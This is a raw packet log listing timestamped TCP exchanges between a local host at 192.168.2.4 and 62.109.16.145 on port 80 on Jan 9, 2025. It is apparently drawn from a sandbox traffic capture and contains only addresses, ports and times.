Jan 9, 2025 04:12:38.309696913 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.315351009 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.316113949 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.390428066 CET	80	49772	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.390499115 CET	49772	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.434669971 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.439634085 CET	80	49774	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.636909008 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.684602976 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.765357971 CET	80	49774	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.770572901 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.809602976 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.825234890 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:38.893630028 CET	80	49774	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:38.934622049 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.011853933 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.012023926 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.012132883 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.016886950 CET	80	49775	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.016963005 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.017158985 CET	80	49773	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.017205000 CET	49773	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.017219067 CET	80	49774	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.017258883 CET	49774	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.020735025 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.025482893 CET	80	49775	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.372195959 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.378195047 CET	80	49775	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.703811884 CET	80	49775	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.747220039 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:39.835361004 CET	80	49775	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:39.887732029 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.000889063 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.006534100 CET	80	49776	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:40.006597996 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.006695032 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.011605024 CET	80	49776	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:40.013220072 CET	49759	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.356616974 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.361501932 CET	80	49776	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:40.730269909 CET	80	49776	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:40.778341055 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.863198042 CET	80	49776	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:40.919094086 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.996203899 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:40.996520042 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.001589060 CET	80	49776	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.001600981 CET	80	49777	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.001671076 CET	49776	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.001717091 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.001811981 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.006603956 CET	80	49777	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.356569052 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.361633062 CET	80	49777	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.698601007 CET	80	49777	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.747116089 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.833270073 CET	80	49777	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.887741089 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.946827888 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.947043896 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.951910019 CET	80	49777	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.951921940 CET	80	49778	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:41.951976061 CET	49777	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.952014923 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.952109098 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:41.956828117 CET	80	49778	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:42.345360994 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.350248098 CET	80	49778	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:42.631453991 CET	80	49778	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:42.684694052 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.761060953 CET	80	49778	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:42.809607029 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.885268927 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.885392904 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.890165091 CET	80	49779	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:42.890285969 CET	80	49778	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:42.890352011 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.890377045 CET	49778	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.890582085 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:42.895354986 CET	80	49779	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.247268915 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.252197981 CET	80	49779	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.589945078 CET	80	49779	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.637840986 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.719338894 CET	80	49779	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.762737036 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.779124975 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.779387951 CET	49780	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.784527063 CET	80	49780	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.784600973 CET	49780	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.784698009 CET	49780	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.784830093 CET	80	49779	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.784883976 CET	49779	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.789556026 CET	80	49780	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.835443974 CET	49780	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.835650921 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.840540886 CET	80	49781	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.840621948 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.840679884 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:43.845490932 CET	80	49781	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:43.882826090 CET	80	49780	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.184820890 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.189665079 CET	80	49781	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.271164894 CET	80	49780	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.271229029 CET	49780	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.527637959 CET	80	49781	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.575337887 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.660531998 CET	80	49781	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.716049910 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.717158079 CET	80	49775	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.717238903 CET	49775	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.809133053 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.809361935 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.818079948 CET	80	49782	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.818090916 CET	80	49781	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:44.818165064 CET	49781	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.818181992 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.818310976 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:44.826850891 CET	80	49782	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:45.171261072 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.176069021 CET	80	49782	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:45.514434099 CET	80	49782	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:45.559724092 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.645337105 CET	80	49782	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:45.700239897 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.760857105 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.761167049 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.765981913 CET	80	49783	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:45.766056061 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.766154051 CET	80	49782	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:45.766170979 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.766208887 CET	49782	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:45.770956039 CET	80	49783	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:46.122203112 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:46.127707958 CET	80	49783	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:46.482194901 CET	80	49783	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:46.528403044 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:46.613732100 CET	80	49783	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:46.669014931 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:46.736042023 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:46.740861893 CET	80	49784	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:46.740942001 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:46.741019011 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:46.745754957 CET	80	49784	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:47.091020107 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.095858097 CET	80	49784	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:47.430869102 CET	80	49784	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:47.481498957 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.561638117 CET	80	49784	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:47.606511116 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.679555893 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.679853916 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.684668064 CET	80	49785	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:47.684686899 CET	80	49784	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:47.684736967 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.684758902 CET	49784	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.684854984 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:47.689606905 CET	80	49785	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.055495024 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.063183069 CET	80	49785	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.364442110 CET	80	49785	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.419054031 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.497597933 CET	80	49785	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.544034958 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.618696928 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.618930101 CET	49786	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.623732090 CET	80	49786	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.623743057 CET	80	49785	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.623820066 CET	49785	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.623826981 CET	49786	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.623883963 CET	49786	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.628618002 CET	80	49786	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.841644049 CET	49786	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.841847897 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.846791029 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.850168943 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.850240946 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.854979992 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.886775970 CET	80	49786	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.963615894 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.969012022 CET	80	49788	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:48.970109940 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.970244884 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:48.975071907 CET	80	49788	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.116025925 CET	80	49786	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.116077900 CET	49786	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.200395107 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.205208063 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.205317020 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.325421095 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.330301046 CET	80	49788	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.561222076 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.606590986 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.669239044 CET	80	49788	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.693418026 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.715879917 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.747149944 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.804510117 CET	80	49788	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.856523037 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.929794073 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.930092096 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.933975935 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.934881926 CET	80	49787	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.934894085 CET	80	49789	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.934943914 CET	49787	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.934976101 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.935091019 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:49.938898087 CET	80	49788	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.939883947 CET	80	49789	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:49.939939022 CET	49788	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.294101000 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.298924923 CET	80	49789	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:50.663074970 CET	80	49789	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:50.715888977 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.797485113 CET	80	49789	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:50.840924025 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.918957949 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.924808979 CET	80	49790	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:50.924896002 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.925128937 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:50.932049036 CET	80	49790	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.278549910 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.283380032 CET	80	49790	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.488318920 CET	80	49783	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.488395929 CET	49783	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.634730101 CET	80	49790	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.684639931 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.765783072 CET	80	49790	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.809645891 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.889957905 CET	49789	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.890683889 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.890964031 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.897043943 CET	80	49791	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.897571087 CET	80	49790	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:51.897660017 CET	49790	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.897667885 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.897738934 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:51.903218985 CET	80	49791	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:52.247329950 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.252229929 CET	80	49791	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:52.617767096 CET	80	49791	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:52.669014931 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.756254911 CET	80	49791	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:52.809650898 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.872673035 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.873004913 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.877640009 CET	80	49791	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:52.877707005 CET	49791	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.877763033 CET	80	49792	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:52.877840996 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.877939939 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:52.882719040 CET	80	49792	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:53.231652021 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.236538887 CET	80	49792	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:53.559730053 CET	80	49792	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:53.606529951 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.694247961 CET	80	49792	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:53.747155905 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.820873976 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.821096897 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.825896978 CET	80	49794	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:53.825922966 CET	80	49792	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:53.825963974 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.825990915 CET	49792	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.826091051 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:53.830822945 CET	80	49794	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.184731007 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.189563036 CET	80	49794	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.541098118 CET	80	49794	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.590914011 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.684586048 CET	80	49794	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.701003075 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.705859900 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.705931902 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.706099033 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.710911036 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.731518030 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.805820942 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.810653925 CET	80	49801	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:54.810726881 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.810915947 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:54.815638065 CET	80	49801	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.059771061 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.064621925 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.064698935 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.169265985 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.174108982 CET	80	49801	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.397089958 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.450365067 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.521641970 CET	80	49801	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.527457952 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.575426102 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.575426102 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.653610945 CET	80	49801	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.700282097 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.775043011 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.775049925 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.775114059 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.775341034 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.780292988 CET	80	49801	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.780304909 CET	80	49807	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.780348063 CET	49801	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.780384064 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.780503988 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.780766964 CET	80	49800	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.780836105 CET	49800	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.780874968 CET	80	49794	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:55.780925989 CET	49794	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:55.785253048 CET	80	49807	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:56.137957096 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.142810106 CET	80	49807	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:56.471647978 CET	80	49807	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:56.512794018 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.607402086 CET	80	49807	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:56.653422117 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.727407932 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.727652073 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.732377052 CET	80	49807	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:56.732402086 CET	80	49816	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:56.732434988 CET	49807	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.732475042 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.732566118 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:56.737343073 CET	80	49816	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:57.090980053 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.095793962 CET	80	49816	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:57.429101944 CET	80	49816	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:57.481535912 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.561449051 CET	80	49816	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:57.606565952 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.681128025 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.681318998 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.686125994 CET	80	49823	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:57.686139107 CET	80	49816	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:57.686218023 CET	49816	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.686341047 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.686341047 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:57.691133976 CET	80	49823	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:58.044230938 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.049107075 CET	80	49823	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:58.387481928 CET	80	49823	62.109.16.145	192.168.2.4
